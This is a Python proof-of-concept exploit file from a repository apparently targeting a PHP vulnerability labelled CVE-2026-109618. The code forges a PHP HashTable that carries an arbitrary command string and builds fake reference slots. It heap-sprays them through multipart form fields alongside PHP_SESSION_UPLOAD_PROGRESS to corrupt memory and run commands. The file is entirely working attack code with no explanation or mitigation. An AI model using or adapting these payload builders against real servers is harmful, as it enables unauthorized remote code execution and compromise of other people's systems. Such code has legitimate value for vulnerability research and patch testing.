Files
php2shell-cve-2026-109618-1…/poc/forge.py
T

78 lines
2.6 KiB
Python

import struct
BOUNDARY = b"C" * 10
def build_ht(htdata, zif, cmd, size=384):
if len(cmd) > 0x160 - 0x98:
raise ValueError("command too long for the 384-byte carrier")
ht = bytearray(size)
struct.pack_into("<II", ht, 0x00, 1, 7)
struct.pack_into("<II", ht, 0x08, 0x10, 0xFFFFFFF8)
struct.pack_into("<Q", ht, 0x10, htdata + 0x20)
struct.pack_into("<II", ht, 0x18, 1, 1)
struct.pack_into("<II", ht, 0x20, 8, 0)
struct.pack_into("<Q", ht, 0x28, 0)
struct.pack_into("<Q", ht, 0x30, zif)
e = 0x20
struct.pack_into("<Q", ht, e + 0x00, 0)
struct.pack_into("<Q", ht, e + 0x08, 0)
struct.pack_into("<Q", ht, e + 0x10, zif)
struct.pack_into("<Q", ht, e + 0x18, 0)
struct.pack_into("<Q", ht, e + 0x20, 0)
struct.pack_into("<I", ht, e + 0x28, 0)
struct.pack_into("<I", ht, e + 0x2C, 1)
struct.pack_into("<Q", ht, e + 0x30, 0)
struct.pack_into("<Q", ht, e + 0x38, 0)
struct.pack_into("<I", ht, e + 0x40, 0)
struct.pack_into("<Q", ht, e + 0x50, htdata + 0x80)
struct.pack_into("<I", ht, e + 0x58, 6)
struct.pack_into("<II", ht, 0x80, 1, 0x106)
struct.pack_into("<Q", ht, 0x88, 0)
struct.pack_into("<Q", ht, 0x90, len(cmd))
ht[0x98:0x98 + len(cmd)] = cmd
ht[0x98 + len(cmd)] = 0
return bytes(ht)
def build_ref_slot(ptr, rc, val_type=0x0107):
slot = bytearray(32)
struct.pack_into("<I", slot, 0, rc)
slot[4] = 0x0A
struct.pack_into("<Q", slot, 8, ptr)
struct.pack_into("<I", slot, 16, val_type)
return bytes(slot)
def _spray(vl, ptr, rc, val_type, ref_start, ref_step):
v = bytearray(b"S" * vl)
off = ref_start
while off + 32 <= vl:
v[off:off + 32] = build_ref_slot(ptr, rc, val_type)
off += ref_step
return bytes(v)
def _name(prefix, i, nlen):
return (prefix + ("%09d" % i).encode() + b"x" * nlen)[:nlen]
def build_b2(cfg, ht_addr, ht, sid=b"a" * 32, progress=b"k0", boundary=BOUNDARY):
spray = _spray(cfg["vl"], ht_addr, cfg["rc"], cfg.get("val_type", 0x0107),
cfg.get("ref_start", 8), cfg.get("ref_step", 32))
out = bytearray()
def part(name, value):
out.extend(b"--" + boundary + b"\r\nContent-Disposition: form-data; name=\"" +
name + b"\"\r\n\r\n" + value + b"\r\n")
for i in range(cfg["n1"]):
part(_name(b"s", i, cfg["name_len"]), spray)
part(b"ht", ht)
part(b"PHPSESSID", sid)
part(b"PHP_SESSION_UPLOAD_PROGRESS", progress)
for i in range(cfg["n2"]):
part(_name(b"t", i, cfg["name_len"]), spray)
out.extend(b"--" + boundary + b"--\r\n")
return bytes(out)